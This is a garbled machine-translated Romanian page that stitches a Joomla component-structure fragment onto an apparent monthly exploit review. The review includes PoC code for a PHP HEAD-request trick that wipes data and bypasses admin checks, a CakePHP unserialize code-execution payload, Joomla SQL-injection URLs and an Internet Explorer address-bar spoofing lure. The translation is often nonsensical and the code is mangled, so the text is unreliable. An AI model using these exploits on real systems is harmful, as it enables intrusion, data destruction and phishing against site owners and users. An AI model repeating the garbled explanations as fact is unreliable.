params -> def ("imagine", - 1)! = - 1) | $this -> params -> def ("show_comp_description" , 1 ) ) : ?>

imagine ) ): echo $this -> imagine ; endif; echo $this -> params -> get ("comp_description" ); ?>

categorii ca $category ) : ?>
• escape($categorie -> titlu); ?> (legături numerice; ?>)

Cea mai mare parte a logicii de aici este specifică componentei înfășurate. De asemenea, puteți vedea din cod că acest fișier conține tot HTML, amestecat cu PHP - acestea sunt caracteristicile specifice.

Alte fișiere care pot fi curatate în componente

Puteți găsi o serie de alte tipuri de fișiere în componente:

• Helpers - cele mai frecvent utilizate componente au un fișier helper.php sau un director helpers cu o mulțime de fișiere. Aceste dosare cer răzbunare din subteran capabilități funcționale pentru componente.
• Active - acesta pare a fi un folder general pentru alte fișiere care ar trebui să fie incluse înainte de componentă.
• router.php - acest fișier este vikorizat, cu personalizarea URL SEF activată, pentru a traduce URL-ul în ambele direcții (în mintea umană cu aliasuri și în vizualizarea sistemului Joomla cu parametri).
• fișiere xml - sunt folosite pentru a specifica parametrii și alte informații despre componentă și prezentarea ei de ansamblu. De exemplu, îl puteți folosi pentru a crea elemente în meniul componentelor.
• index.html - o practică bună este să aveți un fișier index.html gol în toate directoarele dvs. Aceasta este o abordare atât de pasivă a siguranței.
• css/images/js - foldere care conțin diferite fișiere pentru a implementa design și funcționalitate pe partea client (în browser).

În luna curentă, cercetătorii de bug-uri nu vor să ne răsfețe cu noi exploituri stupide. suplimente populare. Desigur, a fost publicat un aviz anonim pentru produse de la companii de vârf, deoarece capacitatea acestora de a conține coduri PoC manuale este foarte mică. În recenzia noastră, am încercat să aleg cele mai semnificative și mai importante implicații din descrierile din restul timpului, astfel încât să fiți mai atent și să vă bucurați de lectură.

Flux PHP în timpul procesării solicitărilor HTTP Head

Scurt

3 Bereznya Adam Ivanyuk a identificat o problemă în interpretul PHP, care nu procesează corect interogările HEAD. Acesta este ceea ce cercetătorul a numit „truc cu metoda HTTP HEAD în scripturile php”.

Mulți programatori își dezvoltă scripturile PHP, asigurându-se că toate instrucțiunile scrise în ele sunt finalizate cu succes fără a se întrerupe la mijloc (mai ales în scripturi scurte). Așa se dovedește că scriptul este transmis utilizatorului final folosind metodele GET, POST, PUT.

Este posibil să știți, de asemenea, că există și alte metode HTTP - de exemplu, HEAD. Când încercați această metodă în PHP, este posibil să aveți o problemă.

Una dintre ieșirile interpretului este vizibilă: ./main/SAPI.c, linia 315:

dacă (SG(request_info).request_method &&
!strcmp(SG(request_info).request_method, "HEAD"))
{
SG(request_info).headers_only = 1;
...

Dacă se găsesc date, funcția php_ub_body_write este executată. În continuare vedem main/output.c, linia 699:

dacă (SG (request_info).headers_only) (
if(SG(headers_trimis))
{
întoarce 0;
}
php_header(TSRMLS_C);
zend_bailout();
}

Aici puteți vedea că atunci când este afișată pentru prima dată pe ecran și când este selectată metoda HEAD, funcția zend_bailout întrerupe scriptul.

Exploata

$line="Nick: ".htmlspecialchars
($_POST[„nick”]).”

Text: „.htmlspecialchars
($_POST[„text”]).”

---

";
$f=fopen("carte.txt","r");
$date=fread($f,fi lesize("book.txt"));
fclose($f);
$f=fopen("carte.txt","w");
$date=$line.$date;
echo $date;
fwrite($f,$date);
fclose($f);
?>

Acum să ne uităm la acest script pentru ajutorul metodei HEAD:

stream_context_get_default
(array("http"=>array("metoda"=>"HEAD")));
print_r(get_headers("http://site.com/guestbook.php"));
?>

De îndată ce urma este șters, cartea noastră de oaspeți își va pune numele în rândul „echo $data;”, astfel încât fișierul book.txt va fi pur și simplu resetat la zero.
Acest fund este distructiv în natură. Pentru o altă aplicație, este posibil să ocoliți autorizarea de la un administrator primitiv:

sesiune_start();
echo „Un șir lung conține aproximativ 4090 de caractere”;
$_SESSION[„admin”]=1;
dacă (!isset($_POST["trece"]) ||
$_POST["pass"]!="o parolă")
{
ecou" Parolă greșită sau goală.
";
$_SESSION["admin_level"]=0;
}
?>

În care toate scripturile sunt instalate în sesiune în cele mai potrivite moduri atunci când sunt lansate. Apoi, dacă un utilizator introduce parola greșită, modificarea este resetată și utilizatorul nu devine administrator.

Dacă mergem la panoul de administrare prin HEAD, vom fi întrerupți de codul cu ecou, ​​în acest fel variabila administrativă nu va fi resetată, și putem naviga liniștiți prin partea închisă a programului. Aici trebuie să ne amintim că majoritatea serverelor web au valori de buffering de ieșire setate la 4096 de octeți, așa că într-o aplicație de producție este posibil să avem nevoie de rândul „Un șir lung conține aproximativ 4090 de caractere”.

Exploata

• PHP<= 5.3.5

Soluţie

La momentul publicării, versiunea rămasă de PHP era versiunea 5.3.5. Nu are multe remedieri pentru a remedia această eroare, așa că aș putea la fel de bine să mă uit bine la ieșirea scripturilor dvs. pentru a evita orice situații netransferabile când folosesc metoda HEAD.

Vikonannya următorului cod în CakePHP

Scurt

CakePHP este cel mai popular cadru de software (mai mult de 7.000.000 de căutări Google) pentru crearea de site-uri web, scrierea PHP personalizat și lucrul pe principiile software-ului open source. CakePHP implementează modelul Model-View-Controller (MVC).

Inițial, acest cadru a fost creat ca o clonă a popularului Ruby on Rails și au existat o mulțime de idei în spatele lui:

• Structura proprie de fișiere;
• suport pentru impersonalitatea pluginurilor;
• abstracția datelor (PEAR::DB, ADOdb și vlasna rozrobka Cake);
• suport pentru mai multe SGBD (PostgreSQL, MySQL, SQLite, Oracle).

Nu este surprinzător că un astfel de produs software remarcabil a primit atenția multor pentesteri. Nu cu mult timp în urmă, o persoană pe nume Felix a descoperit un bug în acest cadru, legat de metodele magice și de utilizarea funcției unserialize (citește un raport despre această clasă de bug-uri în numerele minore ale revistei).

Pentru prima dată, deschidem componentul./libs/controller/components/security.php și căutăm următorul cod, care este responsabil pentru protejarea atacului XSRF folosind solicitări POST suplimentare:

funcția _validatePost(&$controller)
{
...
$verificare = $controller->date;
$token = urldecode($check["_Token"]["campuri"]);
dacă (strpos($token, ":")) (
list($token, $blocat) = explode(":", $token, 2);
}
$blocat = unserialize(str_rot13($blocat));
...
?>

Aici matricea $check este folosită pentru a elimina datele noastre POST, iar matricea $locked este folosită pentru a ofusca rândul de serializare, care se află în întregime sub controlul nostru, folosind funcția suplimentară str_rot13().

În acest moment, am dori să creăm o mică introducere pentru cei care nu au citit articolele suplimentare din ][ și să informăm pe scurt despre bug-ul care apare în fermecătoarele metode PHP. Ozhe, y versiuni PHP 5, a fost introdus conceptul de bază al programării OOP: constructor și destructor. Constructorul este implementat folosind metoda „__construct”, iar destructorul este implementat folosind metoda „__destruct”. După finalizarea lucrării, la apelarea prin funcția unserialize(), obiectul își va executa propria metodă __destruct, așa cum este specificat în cod.

Acum să ne întoarcem la cadrul nostru și să ne uităm la destructorul clasei App din fișierul ./libs/configure.php:

funcția __destruct()
{
if ($this->__cache)
{
$core = App::core(„tort”);
unset($this->__paths);
Cache::write("dir_map", array_fi lter($this->__paths),
"cake_core");
Cache::write("fi le_map", array_fi lter($this->__map),
"cake_core");
Cache::write("object_map", $this->__objects,
"cake_core");
}
}

Din codul dat poți înțelege asta Metoda daneză Este posibil ca o modalitate de a scrie mai multe valori în obiectul Cache să fie compromisă. Cea mai bună cheie pentru cel rău este „file_map”. Face conexiuni între clase și fișierele PHP aferente și este, de asemenea, folosit pentru a adăuga clase suplimentare la script.

Codul real pentru încărcarea claselor pare puțin mai complicat, dar totul se reduce la codul pentru metoda __load din mijlocul clasei App:

...
if (file_exists($fi le)) (
dacă (!$acest->întoarce) (
require($fi le);
$this->__loaded[$fi le] = true;
}
returnează adevărat;
...
?>

Bingo! Schimbând fișierul $, putem promova vechiul tău cod PHP! În plus, dacă eroarea de includere a fișierelor la distanță este corectă, nu vom avea nevoie de toate trucurile suplimentare de la atracții fisiere locale la server. Cu toate acestea, autorul versiunii găsite promovează o opțiune LFI pentru exploatarea acestui director, deoarece CakePHP utilizează un cache local care se bazează pe fișiere care sunt în formă serializată într-un director cunoscut atacatorului. .

Exploata

Ca un mic PoC pentru generarea unei serii serializate, Felix introduce următorul cod:

$x=noua aplicatie();
$x->__cache=1;
$x->__map=array("Core" => matrice(
"Router" => "../tmp/cache/persistent/cake_core_fi le_map"),
"Foo" => "");
$x->__paths=array();
$x->__obiecte=array();
echo serialize($x);
?>

Desigur, este responsabilitatea dumneavoastră să includeți în prealabil cursurile necesare de la CakePHP. Există, de asemenea, un exploit complet funcțional în Python, îl puteți găsi la malloc.im/burnedcake.py.

Acest exploit se bazează pe un add-on dezvoltat pe CakePHP, care utilizează formulare POST cu jetoane de securitate și nu modifică stocarea standard a fișierelor cache. Implicit, exploit-ul afișează configurația bazei de date pe ecran; alte caracteristici pot fi adăugate cu ușurință prin modificarea încărcăturii PHP instalate.

Ținte

• CakePHP<= 1.3.5, CakePHP <= 1.2.8

Soluţie

Pentru a corecta eroarea descrisă, trebuie doar să descărcați versiunea rămasă a pluginului CakePHP pe care o utilizați de pe site-ul web cakephp.org.

Descoperirea căilor și potențialelor intrări SQL ale Joomla!

Scurt

Joomla este un sistem de management, scris în limbaje PHP și JavaScript și este similar cu baza de date MySQL. Software gratuit care este distribuit sub licența GNU GPL.

Dacă nu ești blocat cu activitatea ta de hacker cu Joomla!, atunci pur și simplu trăiești pe o altă planetă :). În acest sens, vreau să vă informez despre două potențiale injecții SQL în diferite motoare Jumli, care au fost lăsate nemarcate și nedezvoltate.

Ei bine, prima injecție a fost dezvăluită de băieții YGN Ethical Hacker Group (yehg.net/lab) în versiunea de motor 1.5.21.

După cum scriu cercetătorii, potențialele intrări SQL au fost identificate de ei în Joomla! 1.5.20 la granițele de urmărire pe XSS. Aceste erori au fost raportate în secret echipei de dezvoltare a motoarelor, care a lansat imediat o versiune „patchată” 1.5.21. Cuvântul „petice” era în labele lor, fragmentele dezvoltatorilor au turtit ochii majorității consilierilor echipei YEHG și erau convinși că această versiune nu era complet utilizabilă, așa că Joomla! Pot fi instalate filtre de siguranță pe rând.

Drept urmare, excavatoarele au dezvăluit detaliile exploatării potențialelor infecții SQL într-o gamă largă, ceea ce este extrem de rapid.
Deci, deschideți fișierul./components/com_weblinks/models/category.php și găsiți următorul cod:

funcția _buildQuery()
{
$fi lter_order = $this->getState("fi lter_order");
$fi lter_order_dir = $this->getState("fi lter_order_dir");
$fi lter_order = JFilterInput::clean($fi lter_order, "cmd");
$fi lter_order_dir =
JFilterInput::clean($fi lter_order_dir, „cuvânt”);
// Trebuie să obținem o listă cu toate
// linkuri web în categoria dată
$interogare = "SELECT *" .
„DIN #__linkuri web”.
"UNDE catid = ". (int) $this->_id.
„ȘI publicat = 1” .
„ȘI arhivat = 0”.
„COMANDAȚI DE”. $fi lter_order „”.
$fi lter_order_dir .", ordonare";
returnează $interogare;
}

Aici puteți vedea că modificările $filter_order și $filter_order_dir nu trec verificarea coerenței cu instrucțiunile SQL; verificarea se face fără metoda clean standard din clasa JFilterInput:

...
caz „CUVENT”:
$rezultat = (șir) preg_replace("/[^A-Z_]/i", "", $sursă);
pauză;
...
cazul "CMD":
$rezultat = (șir)
preg_replace("/[^A-Z0-9_.-]/i", "", $sursa);
$rezultat = ltrim($rezultat, ".");
pauză;
...

Cu acest ordin, implicit, vom nega ascensiunea nobililor. Un bug similar chiar în aceste modificări a apărut recent în prima versiune a motorului cu noul 1.6.

Exploata

Din cauza implicită, putem scăpa rapid de Joomla!<= 1.5.21:

• /index.php?option=com_weblinks&view=category&id=2&fi lter_order_Dir=&fi lter_order=%00"
• /index.php?option=com_weblinks&view=category&id=2&fi lter_order_Dir="&fi lter_order=asc

asta în Joomla! 1.6.0:

• attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?fi lter_order=yehg.net.AAAAAAAAAAAAAAAAAAA,&fi lter_order_Dir=2&limit=3&listart=
• attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?fi lter_order=1,&fi lter_order_Dir=yehg.net.BBBBBBBBBBB,&limit=3&limitstart=4

Cu toate acestea, puteți detecta rapid aceste erori în instalările Jumli deja instalate în contextul motorului avansat: trebuie mai întâi să eliminați filtrele JFilterInput::clean din filter_order_Dir și filter_order, după care puteți fi modificat.

Există, de asemenea, informații importante că unii oameni vinovați au putut încă să ocolească aceste filtre nefericite, dar exploit-ul a fost păstrat în intimitate profundă.

Ținte

• Joomla!<= 1.5.21, Joomla! 1.6.0

Soluţie

Ca întotdeauna, nu uitați să urmăriți site-ul oficial al retailerului joomla.org. La momentul scrierii, mă uit la versiunile rămase ale acestui CMS: 1.5.22 și 1.6.0.

Modificarea rândului de adresă în Microsoft Internet Explorer

Scurt

Vreau foarte mult să vă povestesc despre un mic și extrem de amuzant bug în IE, care a fost descoperit de un hacker sub numele de cyber flash. Această eroare permite unui utilizator de la distanță să lanseze un simplu atac de falsificare.

Iritabilitatea apare după împrospătarea panoului rândului de adrese a ferestrei de scurgere. De asemenea, puteți utiliza o pagină web special concepută pentru a permite browserului dvs. să afișeze doar ultima parte a adresei din rândul adresei.

Exploata

De exemplu, prin înlocuirea rândului de adresă, autorul însuși introduce următorul cod HTML PoC:

content="text/html; charset=windows-1252">





Faceți clic oriunde pe această pagină!

Cyber ​​​​flash ne oferă, de asemenea, o pagină gata făcută cu un cod PoC pentru testare la keyloggeronline.com/misc/temp/about.htm.

Odată ce sunteți pe această pagină, vă rugăm să ne scrieți și să ne rugăm să accesăm bing.com. După ce am apăsat pe postare, aproape am vărsat fereastra, în rândul căreia va fi listat acest Bing. Mai jos este un alt mesaj care te invită să folosești noul Internet Explorer (mai mult, trecând cursorul pe „Descărcare”, nu vom vedea nimic suspect, pentru că acolo nu există o versiune nouă a browserului, ci un pseudo-troian program de la Cyber ​​​​Flash).
În acest fel, răufăcătorul poate strecura cu ușurință dosarul malefic dragului Măgar.

Ținte

• MS Internet Explorer 7, 8, 9

Soluţie

Momentan, alții încă nu au corectat spillover-ul descris, astfel încât, așa cum vikorystvoyesh IE, în miezul lumii oră-timp, Rajah va fi respectat cu ferestre necunoscute, care ar trebui să fie îmbinate.